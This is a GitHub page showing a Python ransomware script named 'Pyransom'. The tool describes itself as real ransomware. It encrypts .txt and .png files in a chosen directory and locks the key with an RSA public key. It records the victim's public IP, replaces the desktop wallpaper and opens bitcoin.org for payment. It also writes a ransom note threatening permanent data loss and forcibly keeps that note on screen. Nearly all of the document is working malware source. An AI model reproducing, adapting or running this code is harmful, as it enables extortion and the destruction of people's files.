-
Notifications
You must be signed in to change notification settings - Fork 6
/
main.py
142 lines (122 loc) · 5.09 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
import os
import time
import urllib.request
import datetime
import ctypes
import requests
import webbrowser
import subprocess
import win32gui
import threading
from cryptography.fernet import Fernet
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
class Ransomware:
exts = ['txt', 'png']
def __init__(self, targetDir=f"{os.path.expanduser('~')}Desktop"):
self.ransomKey = None
self.crypter = None
self.publicKey = None
self.homeDir = os.path.expanduser('~')
self.targerDir = targetDir
self.publicIP = requests.get('https://api.ipify.org').text
def gen_ransom_key(self):
self.ransomKey = Fernet.generate_key()
self.crypter = Fernet(self.ransomKey)
def write_ransom_key(self):
with open('key.txt', 'wb') as f:
f.write(self.ransomKey)
def encrypt_ransom_key(self):
with open('key.txt', 'rb') as f:
ransomKey = f.read()
with open('key.txt', 'wb') as f:
self.publicKey = RSA.import_key(open('public.pem').read())
publicEncryptor = PKCS1_OAEP.new(self.publicKey)
encryptedRansomKey = publicEncryptor.encrypt(ransomKey)
f.write(encryptedRansomKey)
self.ransomKey = encryptedRansomKey
self.crypter = None
def encrypt_file(self, path, encrypted=False):
with open(path, 'rb') as f:
data = f.read()
if not encrypted:
_data = self.crypter.encrypt(data)
else:
_data = self.crypter.decrypt(data)
with open(path, 'wb') as f:
f.write(_data)
def encrypt_system(self, encrypted=False):
system = os.walk(self.targerDir, topdown=True)
for root, _, files in system:
for file in files:
path = os.path.join(root, file)
if not file.split('.')[-1] in self.exts:
continue
if not encrypted:
self.encrypt_file(path)
else:
self.encrypt_file(path, encrypted=True)
@staticmethod
def how_to_pay():
url = 'https://bitcoin.org'
webbrowser.open(url)
def change_desktop_background(self):
imageURL = 'https://images.idgesg.net/images/article/2018/02/ransomware_hacking_thinkstock_903183876-100749983-large.jpg'
path = f'{self.homeDir}\\OneDrive\\Desktop'
urllib.request.urlretrieve(imageURL, path)
SPI_SETDESKWALLPAPER = 20
ctypes.windll.user32.SystemParametersInfoW(
SPI_SETDESKWALLPAPER, 0, path, 0)
def ransom_note(self):
date = datetime.date.today().strftime('%d-%B-Y')
with open('README.txt', 'w') as f:
f.write(f'''
The harddisks of your computer have been encrypted with an Military grade encryption algorithm.
There is no way to restore your data without a special key. Only we can decrypt your files! \n Date ecnrypted : {date} \n IP Adress {self.publicIP}:
''')
@staticmethod
def show_ransom_note():
ransom = subprocess.Popen(['notepad.exe', 'README.txt'])
while True:
time.sleep(0.1)
title = win32gui.GetWindowText(win32gui.GetForegroundWindow())
if title == 'README - Notepad':
pass
else:
time.sleep(0.1)
ransom.kill()
time.sleep(0.1)
ransom = subprocess.Popen(['notepad.exe', 'README.txt'])
time.sleep(5)
def welcome_msg():
welcome = '''
_______
/ \
$$$$$$$ | __ __ ______ ______ _______ _______ ______ _____ ____
$$ |__$$ |/ | / | / \ / \ / \ / | / \ / \/ \
$$ $$/ $$ | $$ |/$$$$$$ |$$$$$$ |$$$$$$$ |/$$$$$$$/ /$$$$$$ |$$$$$$ $$$$ |
$$$$$$$/ $$ | $$ |$$ | $$/ / $$ |$$ | $$ |$$ \ $$ | $$ |$$ | $$ | $$ |
$$ | $$ \__$$ |$$ | /$$$$$$$ |$$ | $$ | $$$$$$ |$$ \__$$ |$$ | $$ | $$ |
$$ | $$ $$ |$$ | $$ $$ |$$ | $$ |/ $$/ $$ $$/ $$ | $$ | $$ |
$$/ $$$$$$$ |$$/ $$$$$$$/ $$/ $$/ $$$$$$$/ $$$$$$/ $$/ $$/ $$/
/ \__ $$ |
$$ $$/
$$$$$$/ v1.0.0 by retr00exe
Warning : This is real ransomware script. Using VM is highly recommended to avoid unexpected damage.
'''
print(welcome)
def main():
welcome_msg()
targetDir = input("Enter target directory : ")
pyransom = Ransomware(targetDir)
pyransom.gen_ransom_key()
pyransom.encrypt_system()
pyransom.write_ransom_key()
pyransom.encrypt_ransom_key()
pyransom.change_desktop_background()
pyransom.how_to_pay()
pyransom.ransom_note()
t1 = threading.Thread(target=pyransom.show_ransom_note())
t1.start()
if __name__ == "__main__":
main()